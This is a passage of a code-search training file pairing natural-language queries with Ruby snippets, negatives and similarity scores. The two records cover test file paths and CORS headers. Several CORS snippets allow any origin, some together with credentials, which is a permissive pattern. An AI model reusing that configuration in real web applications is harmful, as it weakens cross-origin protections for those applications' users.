"0.64332277",
"0.6340348",
"0.6288536",
"0.62615335",
"0.6255276",
"0.62550384",
"0.62344486",
"0.62248313",
"0.62168556",
"0.6205332",
"0.62003386",
"0.6182037",
"0.6178615",
"0.6110587",
"0.6103043",
"0.606476",
"0.60599476",
"0.60563153",
"0.6009367",
"0.5995272",
"0.5977173",
"0.5951937",
"0.5932691",
"0.5923216",
"0.58635557",
"0.5858899",
"0.5854094",
"0.5854094",
"0.5829491",
"0.5828572",
"0.58218247",
"0.57732624",
"0.57623976",
"0.5758541",
"0.57502294",
"0.5744994",
"0.5744637",
"0.5744464",
"0.5740547",
"0.5740054",
"0.5723265",
"0.57154936",
"0.57003725",
"0.5690078",
"0.56867296",
"0.56859726",
"0.568313",
"0.5677368",
"0.56761897",
"0.564921",
"0.5649035",
"0.5620032",
"0.5613951",
"0.56092846",
"0.5596528",
"0.5553924",
"0.55443084",
"0.5544105",
"0.5525304",
"0.5512439",
"0.55045336",
"0.5491276",
"0.5485468",
"0.5469826",
"0.545253",
"0.54523987",
"0.545183",
"0.54497755",
"0.54433453",
"0.5435845",
"0.54322034",
"0.5429339",
"0.5424335",
"0.5418319",
"0.5405424",
"0.5399605",
"0.53801787",
"0.5366591",
"0.5363316",
"0.53558874",
"0.5353176",
"0.5344531",
"0.5336032"
] |
0.77726835
|
1
|
Adjust a list of files to include the path to the test file.
|
def adjust(files)
files.map { |file| @options[:path] + "/" + file }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_files=(list)\n @test_files = list\n end",
"def add_files(*files)\n @source_paths &= files\n end",
"def expanded_file_list\n test_files = Rake::FileList[pattern].compact\n test_files += @test_files.to_a if @test_files\n test_files\n end",
"def test_files\n files = tests\n files = files.map{ |f| Dir[f] }.flatten\n files = files.map{ |f| File.directory?(f) ? Dir[File.join(f, '**/*.rb')] : f }\n files = files.flatten.uniq\n files = files.map{ |f| File.expand_path(f) }\n files\n end",
"def test_files=(files) # :nodoc:\n @test_files = Array files\n end",
"def test_files\n code_files_in(tests_dir, CPP_EXTENSIONS)\n end",
"def correction_with_tests_directory\n @tests_names.each do |t|\n correction_with_test(t)\n end\n end",
"def spec_files=(list)\n @spec_files = list\n end",
"def add_extra_files(*files); end",
"def process_other_source_files\n files = @options[:include_source_files].flatten\n files.each do |f|\n FileUtils.cp Dir[f], @working_dir\n end\n end",
"def include(*files)\n @include += files.flatten\n self\n end",
"def add_extra_files(*files)\n files.map! {|f| f.include?(\"*\") ? Dir.glob(f) : f }.flatten!\n files.each do |file|\n raise Errno::ENOENT, \"Could not find extra file: #{file}\" unless File.file?(file)\n options[:files] << file\n end\n end",
"def add_files(*file_paths)\n @default_target.add_files(*file_paths)\n end",
"def import test_cases\n raise TypeError, \"File list must be an Array, got #{test_cases.class}\" unless test_cases.is_a? Array\n test_cases.each do |test_case|\n puts \"%20s : %s\" % ['Adding ' + self.class.type, test_case] if RubyUnit.debug\n require test_case\n end\n end",
"def test_file=(file) # :nodoc:\n self.test_files = [file]\n end",
"def files=(list)\n @files = makelist(list)\n end",
"def add_to_path(d)\n Dir.entries(d).each do |f|\n next if f == '.' || f == '..'\n file= File.join(d, f)\n if File.directory?(file)\n add_to_path(file)\n elsif f.end_with?('test.rb')\n require(file)\n end\n end\nend",
"def merge(*files)\n @paths[''].merge *files\n end",
"def add_files(frameworks_build_phase, files, lib_group, relative_source_directory)\n\tfiles.each { |file|\n\t\tif file != \".\" && file != \"..\"\n\t\t\ta_ref = lib_group.new_file(relative_source_directory + file)\n\t\t\tframeworks_build_phase.add_file_reference(a_ref, true)\n\t\tend\n\t}\nend",
"def bind_files\n @files.each do |source, destination|\n @files[source] = File.join('wix', 'src', destination)\n end\n end",
"def reorder(files_to_test)\n ar_tests, sqlsvr_tests = files_to_test.partition { |k,v| k.starts_with?('../../../') }\n ar_tests.sort! { |a,b| a[0] <=> b[0] }\n sqlsvr_tests.sort! { |a,b| a[0] <=> b[0] }\n sqlsvr_tests + ar_tests\n end",
"def process_files(manifest, file_list, options = {})\n file_list.each do |file|\n if(File.directory?(file_root(file)))\n manifest.directory(file)\n else\n manifest.file(talia_root(file), file, options)\n end\n end\n end",
"def add_files(*files)\n files = files.flatten\n unless files.empty?\n @perforce.run(\"edit\", \"-c\", @number, *files)\n @perforce.run(\"add\", \"-c\", @number, *files)\n end\n end",
"def add_files_to_clean(*filenames)\n @clean_list.include(filenames)\n Cleaner.global_clean_list.include(filenames)\n end",
"def includes(*paths)\n self.included_files.concat(expand_globs(paths))\n end",
"def add_files filearray, config={}\n filearray.each do |e| add_content(e, config.dup); end\n end",
"def setup_test_files\n project.test_sources.each do |src|\n compile_task objectsify(src), src\n end\n end",
"def formatted_file_list(title, source_files); end",
"def start_tests(files)\n end",
"def test_files\n get_folder_files(TESTS_PATH)\n end",
"def sources\n @sources = Dir.glob(File.join(@test_cases_path,\"**\",\"*.txt\")).sort\n @sources\n end",
"def test_files # :nodoc:\n # Handle the possibility that we have @test_suite_file but not\n # @test_files. This will happen when an old gem is loaded via\n # YAML.\n if defined? @test_suite_file\n @test_files = [@test_suite_file].flatten\n @test_suite_file = nil\n end\n if defined?(@test_files) and @test_files\n @test_files\n else\n @test_files = []\n end\n end",
"def target_files\n files.map {|f| target_file f}\n end",
"def test_can_add_paths_to_source_path\n Crd::Spec.new 'Testing' do |s|\n s.source_path << 'test/fixtures'\n assert_equal( [ 'test/fixtures' ], s.source_path )\n end\n end",
"def add_default_files_to_definition\n mkdir_p('files')\n default_files = File.join(File.dirname(__FILE__), '../../files')\n files = []\n chdir(default_files) do\n files += Dir.glob(\"**/*\")\n end\n files.each do |filespec|\n dest = File.join('files', filespec)\n unless File.exist?(dest)\n src = File.join(default_files, filespec)\n if File.file?(src)\n destdir = File.dirname(dest)\n mkdir_p(destdir) unless File.exist?(destdir)\n # puts \"cp(#{src}, #{dest}), destdir => #{destdir}\"\n cp(src, dest)\n end\n end\n end\n end",
"def add_files(*files)\n Rails.logger.info \"Adding #{files.map(&:upload_file_name).join(', ')} to bundle #{self.bundle_type}:#{self.id} in #{self.study.name}\"\n files.each do |file|\n file.update!(study_file_bundle_id: self.id)\n end\n additional_files = StudyFileBundle.generate_file_list(*files)\n self.original_file_list += additional_files\n self.save!\n Rails.logger.info \"File addition to bundle #{self.bundle_type}:#{self.id} successful\"\n end",
"def include(*files)\n fail \"AchiveTask.include() called with nil values\" if files.include? nil\n @paths[''].include *files if files.compact.size > 0\n self\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def testing_begin(files)\n end",
"def addSrcFilesByRE(re)\n Dir.for_each(@srcDir) { |f|\n next if File.stat(f).dir?\n @files << f if re =~ f\n }\n end",
"def execute\n res = @include_list.map { |re_file| IO.read File.join(File.dirname(@file),re_file) }\n res << IO.read(@file)\n res.join \"\\n\"\n end",
"def add_files(file_paths)\n @ole.AddFiles(file_paths)\n end",
"def add_files(file_paths)\n @ole.AddFiles(file_paths)\n end",
"def test_list_file(basename)\n FilePath.new(build_module.root, \"%s.lists.%s\" % [ name, basename ])\n end",
"def copy_test_files\n if options.deep_symbolize_keys[:test_framework] == 'minitest'\n template \"#{TEMPLATES_DIR}/test/test_helper.rb\", \"#{name}/test/test_helper.rb\"\n template \"#{TEMPLATES_DIR}/test/lib/newgem/test_newgem.rb\", \"#{name}/test/lib/#{name}/test_#{name}.rb\"\n else\n template \"#{TEMPLATES_DIR}/spec/spec_helper.rb\", \"#{name}/spec/spec_helper.rb\"\n template \"#{TEMPLATES_DIR}/spec/lib/newgem/newgem_spec.rb\", \"#{name}/spec/lib/#{name}/#{name}_spec.rb\"\n end\n end",
"def files(*list)\n @files.concat(makelist(list)) unless list.empty?\n @files\n end",
"def reorder_files\n files = Dir.glob(File.join(@dir,\"*\"))\n files.each{|f|\n @enroll_file = f if f.downcase.index('enroll')\n @attendance_file = f if f.downcase.index('att')\n @ili_file = f if f.downcase.index('ili') || f.downcase.index('h1n1')\n }\n end",
"def try_files(*files)\n try_sources(files, :files)\n end",
"def set_files(args)\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # Need at least one file in args\n if args.length <= 0\n debug_print \"No args passed, exiting\\n\"\n return false\n end\n\n # Set config flag for CL entryset in config\n @config.cl_entry_set = true\n debug_print \"Updated cl_entry_set flag: #{ @config.cl_entry_set }\\n\"\n\n # For each argument passed, make sure valid, then add to @config.file_list\n args.each do | _file |\n # Error check on input\n if !Watson::FS.check_file(_file)\n print \"Unable to open #{ _file }\\n\"\n else\n debug_print \"Adding #{ _file } to config file_list\\n\"\n @config.file_list.push(_file)\n end\n end\n\n debug_print \"Updated files: #{ @config.file_list }\\n\"\n return true\n end",
"def files() = files_path.glob('**/*')",
"def target_files_in_dir(base_dir = T.unsafe(nil)); end",
"def combine( path_list )\n path_list\n .collect { |p| File.read( File.join(SRC_DIR, p) ) }\n .join(\"\\n\\n\")\n end",
"def merge(*files)\n files.each do |f|\n f = check_for_file(f)\n @merged << f\n end\n end",
"def src_filelist\n FileList['lib/**/*.rb'].concat ['README.rdoc']\nend",
"def in_source_dir(*paths); end",
"def test_files\n Dir.open(TESTS_CODE) do |dir|\n dir.entries.grep(/^#{TEST_PREFIX}/)\n end\nend",
"def default_load_paths_with_test_helper\n paths = default_load_paths_without_test_helper\n paths.concat %w(\n app\n app/controllers\n config\n lib\n vendor\n ).map { |dir| \"#{HELPER_RAILS_ROOT}/#{dir}\" }\n end",
"def file_list(path, ext = 'scss', remover = '')\n # Necessary so that directories aren't counted\n collect_path = path.include?(\"*\") ? path : \"#{path}/**/*.#{ext}\"\n # Remove first slash from path if present. probably a better way to do this.\n Dir[collect_path].collect { |file| file.gsub(remover, '').gsub(/^\\/app\\//, 'app/') if File.file?(file) }\n end",
"def before_load(test_files); end",
"def tests_for_file(filename)\n super.select { |f| @files.has_key? f }\n end",
"def file!\n @file_list = @file_list.select{ |f| File.file?(f) }\n end",
"def included_files; end",
"def edit_matched_files(*match, &block)\n match.each do |m|\n if Pathname.new(m).absolute?\n path = m\n else\n path = File.join(File.expand_path(TARGET_PATH), m)\n end\n puts \"path: #{path}\"\n\n Dir.glob(path).each do |file|\n block.call(Content.create(file))\n end\n end\nend",
"def loadConfigurationFiles\n baseDirectory = 'configuration'\n\n mainDirectory = 'Configuration'\n customDirectory = 'myConfiguration'\n\n mainPath = Nil.joinPaths(baseDirectory, mainDirectory)\n customPath = Nil.joinPaths(baseDirectory, customDirectory)\n\n targets = Nil.readDirectory(mainPath)\n targets = targets.map{|x| ConfigurationEntry.new(x)}\n\n priorityFiles =\n [\n #need to make an exception for the User.rb here because it needs to get included first\n ['User', 2],\n ['Torrent', 1],\n ]\n\n priorityFiles.each do |name, priority|\n name = \"#{name}.rb\"\n targets.each do |entry|\n if entry.target.name == name\n entry.priority = priority\n break\n end\n end\n end\n\n targets.sort!\n\n targets.each do |entry|\n target = entry.target\n customPath = Nil.joinPaths(customPath, target.name)\n if File.exists?(customPath)\n require customPath\n else\n require target.path\n end\n end\nend",
"def add_rakefiles(*rakefiles)\n @rakefiles ||= ['merb-core/test/tasks/spectasks']\n @rakefiles += rakefiles\n end",
"def prepend_paths(*paths)\n self.paths.unshift(*paths)\n end",
"def expand(dir, files)\n files.map{|f| File.join(dir,f)}\nend",
"def enhance_file_list\n return unless @enhanced_mode\n @current_dir ||= Dir.pwd\n\n begin\n actr = @files.size\n\n # zshglob: M = MARK_DIRS with slash\n # zshglob: N = NULL_GLOB no error if no result, this is causing space to split\n # file sometimes for single file.\n\n # if only one entry and its a dir\n # get its children and maybe the recent mod files a few\n # FIXME: simplify condition into one\n if @files.size == 1\n # its a dir, let give the next level at least\n return unless @files.first[-1] == '/'\n\n d = @files.first\n # zshglob: 'om' = ordered on modification time\n # f1 = `zsh -c 'print -rl -- #{d}*(omM)'`.split(\"\\n\")\n f = get_files_by_mtime(d)\n\n if f && !f.empty?\n @files.concat f\n @files.concat get_important_files(d)\n end\n return\n end\n #\n # check if a ruby project dir, although it could be a backup file too,\n # if so , expand lib and maybe bin, put a couple recent files\n # FIXME: gemspec file will be same as current folder\n if @files.index('Gemfile') || !@files.grep(/\\.gemspec/).empty?\n\n if @files.index('app/')\n insert_into_list('config/', \"config/routes.rb\")\n end\n\n # usually the lib dir has only one file and one dir\n # NOTE: avoid lib if rails project\n flg = false\n @files.concat get_important_files(@current_dir)\n if @files.index('lib/') && !@files.index('app/')\n # get first five entries by modification time\n # f1 = `zsh -c 'print -rl -- lib/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime('lib')&.first(5)\n # @log.warn \"f1 #{f1} != #{f} in lib\" if f1 != f\n if f && !f.empty?\n insert_into_list('lib/', f)\n flg = true\n end\n\n # look into lib file for that project\n # lib has a dir in it with the gem name\n dd = File.basename(@current_dir)\n if f.index(\"lib/#{dd}/\")\n # f1 = `zsh -c 'print -rl -- lib/#{dd}/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime(\"lib/#{dd}\")&.first(5)\n # @log.warn \"2756 f1 #{f1} != #{f} in lib/#{dd}\" if f1 != f\n if f && !f.empty?\n insert_into_list(\"lib/#{dd}/\", f)\n flg = true\n end\n end\n end\n\n # look into bin directory and get first five modified files\n # FIXME: not in the case of rails, only for commandline programs\n if @files.index('bin/') && !@files.index('app/')\n # f1 = `zsh -c 'print -rl -- bin/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime('bin')&.first(5)\n # @log.warn \"2768 f1 #{f1} != #{f} in bin/\" if f1 != f\n insert_into_list('bin/', f) if f && !f.empty?\n flg = true\n end\n\n # oft used rails files\n # TODO remove concerns dir\n # FIXME too many files added, try adding recent only\n if @files.index('app/')\n [ \"app/controllers\", \"app/models\", \"app/views\" ].each do |dir|\n f = get_files_by_mtime(dir)&.first(5)\n if f && !f.empty?\n @log.debug \"f has #{f.count} files before\"\n @log.debug \"f has #{f} files before\"\n f = get_recent(f)\n @log.debug \"f has #{f.count} files after\"\n @log.debug \"f has #{f} files after\"\n insert_into_list(\"#{dir}/\", f) unless f.empty?\n end\n end\n\n insert_into_list('config/', \"config/routes.rb\")\n\n # top 3 dirs in app dir\n f = get_files_by_mtime('app/')&.first(3)\n insert_into_list('app/', f) if f && !f.empty?\n flg = true\n end\n return if flg\n\n\n end # Gemfile\n\n # 2019-06-01 - added for crystal and other languages\n if @files.index('src/')\n f = get_files_by_mtime('src')&.first(5)\n insert_into_list('src/', f) if f && !f.empty?\n end\n return if @files.size > 15\n\n # Get most recently accessed directory\n ## NOTE: first check accessed else modified will change accessed\n # 2019-03-28 - adding NULL_GLOB breaks file name on spaces\n # print -n : don't add newline\n # zzmoda = `zsh -c 'print -rn -- *(/oa[1]MN)'`\n # zzmoda = nil if zzmoda == ''\n moda = get_most_recently_accessed_dir\n # @log.warn \"Error 2663 #{zzmoda} != #{moda}\" if zzmoda != moda\n if moda && moda != ''\n\n # get most recently accessed file in that directory\n # NOTE: adding NULL_GLOB splits files on spaces\n # FIXME: this zsh one gave a dir instead of file.\n # zzmodf = `zsh -c 'print -rl -- #{moda}*(oa[1]M)'`.chomp\n # zzmodf = nil if zzmodf == ''\n modf = get_most_recently_accessed_file moda\n # @log.warn \"Error 2670 (#{zzmodf}) != (#{modf}) gmra in #{moda} #{zzmodf.class}, #{modf.class} : Loc: #{Dir.pwd}\" if zzmodf != modf\n\n raise \"2784: #{modf}\" if modf && !File.exist?(modf)\n\n insert_into_list moda, modf if modf && modf != ''\n\n # get most recently modified file in that directory\n # zzmodm = `zsh -c 'print -rn -- #{moda}*(om[1]M)'`.chomp\n modm = get_most_recently_modified_file moda\n # zzmodm = nil if zzmodm == ''\n # @log.debug \"Error 2678 (gmrmf) #{zzmodm} != #{modm} in #{moda}\" if zzmodm != modm\n raise \"2792: #{modm}\" if modm && !File.exist?(modm)\n\n insert_into_list moda, modm if modm && modm != '' && modm != modf\n end\n\n ## get most recently modified dir\n # zzmodm = `zsh -c 'print -rn -- *(/om[1]M)'`\n # zzmodm = nil if zzmodm == ''\n modm = get_most_recently_modified_dir\n # @log.debug \"Error 2686 rmd #{zzmodm} != #{modm}\" if zzmodm != modm\n\n if modm != moda\n\n # get most recently accessed file in that directory\n # modmf = `zsh -c 'print -rn -- #{modm}*(oa[1]M)'`\n modmf = get_most_recently_accessed_file modm\n raise \"2806: #{modmf}\" if modmf && !File.exist?(modmf)\n\n insert_into_list modm, modmf\n\n # get most recently modified file in that directory\n # modmf11 = `zsh -c 'print -rn -- #{modm}*(om[1]M)'`\n modmf1 = get_most_recently_modified_file modm\n raise \"2812: #{modmf1}\" if modmf1 && !File.exist?(modmf1)\n\n insert_into_list(modm, modmf1) if modmf1 != modmf\n else\n # if both are same then our options get reduced so we need to get something more\n # If you access the latest mod dir, then come back you get only one, since mod and accessed\n # are the same dir, so we need to find the second modified dir\n end\n ensure\n # if any files were added, then add a separator\n bctr = @files.size\n @files.insert actr, SEPARATOR if actr < bctr\n end\nend",
"def join_filenames(filenames, base='./')\n filenames.map { |f| File.expand_path(File.join(base, f)) }.join(' ')\nend",
"def test_import_files\n fnsarray = [[\"afile\", \"bfile\", \"../cfile\"], \n \"./adir/afile\", \n \"\", \n [false, true, 1234],\n ]\n fnsarray.each do |fns|\n $mock.expect :add_import, true, [fns]\n import fns\n assert $mock.verify\n end\n\tend",
"def test_extract(files=nil)\n output = 'test/embedded' # Don't think output should be setable.\n\n files = files || 'lib/**/*.rb'\n files = 'lib/**/*.rb' if TrueClass == files\n files = [files].flatten.compact\n\n filelist = files.collect{ |f| Dir.glob(f) }\n filelist.flatten!\n if filelist.empty?\n puts \"No scripts found from which to extract tests.\"\n return\n end\n\n FileUtils.mkdir_p(output) unless File.directory?(output)\n\n #vrunner = VerbosityRunner.new(\"Extracting\", verbosity?)\n #vrunner.setup(filelist.size)\n\n filelist.each do |file|\n #vrunner.prepare(file)\n\n testing = extract_test_from_file( file )\n if testing.strip.empty?\n status = \"[NONE]\"\n else\n complete_test = create_test(testing, file)\n libpath = File.dirname(file)\n testfile = \"test_\" + File.basename(file)\n fp = File.join(output, libpath, testfile)\n unless File.directory?( File.dirname(fp))\n FileUtils.mkdir_p(File.dirname(fp))\n end\n File.open(fp, \"w\"){ |fw| fw << complete_test }\n status = \"[TEST]\"\n end\n\n #vrunner.complete(file, status)\n end\n\n #vrunner.finish(\n # :normal => \"#{filelist.size} files had tests extracted.\",\n # :check => false\n #)\n end",
"def load_file_path!\n @files = FilepathScanner.call(\n include_paths,\n exclude_path_regexps,\n recursive_scan: recursive_include\n )\n end",
"def add_files_to_project\n # add/overwrite some files\n mkdir('config/init')\n mkdir_p('lib/tasks')\n cp_r(Dir.glob('../files/*'), '.')\n # gem changed the api in version 1.3.2, I think, at least it is changed\n # in version 1.3.4, so the following merb hack is necessary for merb\n # 1.0.11\n # TODO: this should be generically performed outside of the spec2merb script\n if Versionomy.parse(`gem --version`) < Versionomy.parse('1.3.4')\n raise Exception.new 'Please upgrade rubygems to at least 1.3.4 (sudo gem update --system)'\n end\n if File.exist?('tasks/merb.thor/gem_ext_4.rb')\n rm('tasks/merb.thor/gem_ext.rb') if File.exist?('tasks/merb.thor/gem_ext.rb')\n mv('tasks/merb.thor/gem_ext_4.rb', 'tasks/merb.thor/gem_ext.rb')\n end\n end",
"def include(*filenames)\n # TODO: check for pending\n filenames.each do |fn|\n if fn.respond_to? :to_ary\n include(*fn.to_ary)\n else\n @pending_add << Rake.from_pathname(fn)\n end\n end\n @pending = true\n self\n end",
"def test_cases\n @test_cases ||= Dir.glob(test_glob)\n end",
"def add_to_selection file\n ff = file\n case file\n when String\n ff = [file]\n end\n @current_dir ||= Dir.pwd\n ff.each do |f|\n # this is wrong if the file is a dir listing or visited files listing.\n # full = File.join(@current_dir, f)\n full = expand_path(f)\n @selected_files.push(full) unless @selected_files.include?(full)\n end\nend",
"def do_stupid_prepend!\n #rewrite file paths in works\n works.each do |w|\n\n # w[:files].map!{|rel_path| File.join(@base_path, rel_path)}\n end\n\n #rewrite file paths in works in collections\n collections.each do |c|\n c[:works] && c[:works].each do |w|\n w[:files].map!{|rel_path| File.join(@base_path, rel_path)}\n end\n end\n end",
"def parse_files(*files)\n self.files = []\n seen_extra_files_marker = false\n \n files.each do |file|\n if file == \"-\"\n seen_extra_files_marker = true\n next\n end\n \n if seen_extra_files_marker\n add_extra_files(file)\n else\n self.files << file\n end\n end\n end",
"def target_files_in_dir(base_dir = Dir.pwd)\n # Support Windows: Backslashes from command-line -> forward slashes\n base_dir = base_dir.gsub(File::ALT_SEPARATOR, File::SEPARATOR) if File::ALT_SEPARATOR\n all_files = find_files(base_dir, File::FNM_DOTMATCH)\n # use file.include? for performance optimization\n hidden_files = all_files.select { |file| file.include?(HIDDEN_PATH_SUBSTRING) }\n base_dir_config = @config_store.for(base_dir)\n\n target_files = all_files.select do |file|\n to_inspect?(file, hidden_files, base_dir_config)\n end\n\n target_files.sort_by!(&order)\n end",
"def watch_files(files)\n @files.concat files\n self\n end",
"def add_files(files, path, base_dir=\"\")\n files.each do |file|\n # Add all of the subdirectories if they don't already exist\n 1.upto(file.length - 1) do |idx|\n full = base_dir + file[0,idx].join(\"/\") + \"/\"\n if !(entries.map{|e|e.name}.include?(full))\n add_file(full, '')\n end\n end\n # Now add the actual file, grabbing data from the filesystem\n fd = File.open(File.join( path, file ), \"rb\")\n data = fd.read(fd.stat.size)\n fd.close\n add_file(base_dir + file.join(\"/\"), data)\n end\n end",
"def requires(*files)\n @files.include *files.flatten.compact\n self\n end",
"def files_filtering files\n return files unless @file_regexp\n f = files.select do |file|\n test_name_by_date file\n end\n f\n end",
"def test_automatically_sets_include_sources_argument\n assert_equal( 'test/fixtures/target', @cmd.include_sources )\n end",
"def add_source(*source_paths)\n source_paths.each do |source|\n new_path = Pathname.new(source)\n # Check if the source path is a directory\n next unless new_path.file?\n # Add the new source to the list of source file paths\n @sources.push(new_path)\n end\n end",
"def revise_file_list(list, revisions)\n revisions.each do |revision|\n # include or exclude file or glob to file list\n file = FilePathUtils.extract_path_no_aggregation_operators( revision )\n FilePathUtils.add_path?(revision) ? list.include(file) : list.exclude(file)\n end\n end",
"def units_changed_tests(test_changed_files, t)\n test_changed_files = test_changed_files.split(\"\\n\") if test_changed_files.is_a?(String)\n test_files = FileList['test/unit/*_test.rb'].select{|file| test_changed_files.any?{|changed_file| file==changed_file }}\n test_files = test_files.uniq\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end",
"def set_entries_for_path(path, directories, files)\r\n files_and_directories = directories.concat files\r\n fake_entries = [\".\", \"..\"].concat files_and_directories\r\n\r\n stub = Dir.stub!(:foreach)\r\n stub = Dir.should_receive(:foreach).with(path).at_least(:once)\r\n fake_entries.each { |e| stub.and_yield(e) }\r\n\r\n directories.each do |entry| \r\n stub_is_file(path, entry, false)\r\n end\r\n\r\n files.each do |entry| \r\n stub_is_file(path, entry, true)\r\n end\r\nend",
"def replaced_files\n new_dirs.select { |dir| File.file?(dir) }.to_set\n end",
"def config_files(override); end",
"def all_files\n Dir[@test_pattern].sort\n end",
"def functionals_changed_tests(test_changed_files, t)\n test_changed_files = test_changed_files.split(\"\\n\") if test_changed_files.is_a?(String)\n test_files = FileList['test/functional/**/*_test.rb'].select{|file| test_changed_files.any?{|changed_file| file==changed_file }}\n test_files = test_files.uniq\n test_files = test_files.reject{ |f| Smokescreen.critical_tests.include?(f) }\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end",
"def cpp_files_unittest\n code_files_in(UNITTEST_HEADER_DIR, CPP_EXTENSIONS)\n end",
"def update include_dirs, source\r\n if not @source_files.include? source\r\n @source_files << source\r\n end\r\n update_depends include_dirs, source\r\n end",
"def check_bootstrap_files!(*list_of_opts)\n list = list_of_opts.map {|k| bootstrap_options[k]}\n files = list.map {|f| File.expand_path(f.to_s)}\n notfound = files.select {|f| !File.exist?(f)}\n notfound.empty? or \n raise Hazetug::Exception, \"File(s) not found: #{notfound.join(', ')}\"\n end",
"def test_file?(path)\n @tests_files.include?(path)\n end",
"def require_files\n @load_paths.each do |path|\n Dir[\"#{path}/**/*\"].each do |f|\n require f\n end\n end\n end",
"def test_files\n `touch ../harness/test/foo ../harness/test/bar`\n f = @td.files\n assert_equal(2, f.length)\n assert(f.find \"foo\")\n assert(f.find \"bar\")\n end",
"def expand_path(path)\n load_path.each do |dir|\n test_path = File.expand_path(File.join(dir, path))\n FILE_EXTS.each do |ext|\n full_path = test_path + ext\n return full_path if File.file?(full_path)\n end\n end\n nil\n end",
"def loadpath(*list)\n @loadpath.concat(makelist(list)) unless list.empty?\n @loadpath\n end"
] |
[
"0.6746312",
"0.6739699",
"0.664375",
"0.649044",
"0.64880854",
"0.6390702",
"0.61977226",
"0.6128834",
"0.6110002",
"0.6014145",
"0.6010524",
"0.6001569",
"0.59968156",
"0.59964406",
"0.58759105",
"0.5849682",
"0.58485955",
"0.5846049",
"0.58370394",
"0.5774988",
"0.5763194",
"0.5753738",
"0.5745325",
"0.5739728",
"0.5739544",
"0.5724497",
"0.57130665",
"0.5712729",
"0.56924945",
"0.56879264",
"0.56830376",
"0.5680438",
"0.5672624",
"0.5663972",
"0.565593",
"0.5633902",
"0.5628905",
"0.5624534",
"0.56242937",
"0.5617939",
"0.56090504",
"0.5604551",
"0.5604551",
"0.5603",
"0.55954546",
"0.5586699",
"0.5581509",
"0.5572001",
"0.5571614",
"0.5549978",
"0.55471194",
"0.55300593",
"0.551493",
"0.5513387",
"0.5508093",
"0.5501658",
"0.54876596",
"0.5486287",
"0.5484697",
"0.5482458",
"0.54745084",
"0.5473822",
"0.5466599",
"0.54661524",
"0.5435483",
"0.54238534",
"0.5420436",
"0.5413759",
"0.5413319",
"0.54115283",
"0.54094",
"0.53992426",
"0.53972584",
"0.5397159",
"0.53962725",
"0.53939915",
"0.53828967",
"0.53816515",
"0.537814",
"0.53716016",
"0.5356587",
"0.5353892",
"0.5342271",
"0.5336907",
"0.5312278",
"0.53119105",
"0.53005207",
"0.5298494",
"0.5292091",
"0.5287011",
"0.52734053",
"0.5272464",
"0.52666956",
"0.52583",
"0.5253884",
"0.5251705",
"0.52490586",
"0.5235962",
"0.5235759",
"0.5221316"
] |
0.7261856
|
0
|
For all responses in this controller, return the CORS access control headers.
|
def cors_set_access_control_headers
headers['Access-Control-Allow-Origin'] = '*'
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
headers['Access-Control-Max-Age'] = "1728000"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def response_headers(env)\n cors_origin(env) ? cors_headers(env) : {}\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Expose-Headers'] = 'ETag'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*,x-requested-with,Content-Type,If-Modified-Since,If-None-Match,Auth-User-Token'\n headers['Access-Control-Allow-Credentials'] = 'true'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Expose-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Credentials'] = 'true'\n response.headers['Access-Control-Allow-Methods'] = 'GET, PUT, POST, DELETE, OPTIONS, PATCH'\n response.headers['Access-Control-Max-Age'] = \"1728000\"\n response.headers['Access-Control-Allow-Headers'] = 'X-CSRF-Token, X-Requested-With, X-Prototype-Version, content-type, ' + @token_name\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = %w{Origin Accept Content-Type X-Requested-With auth_token X-CSRF-Token}.join(',')\n headers['Access-Control-Max-Age'] = \"1728000\"\n end",
"def cors_set_access_control_headers\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization, X-CSRF-Token'\n end",
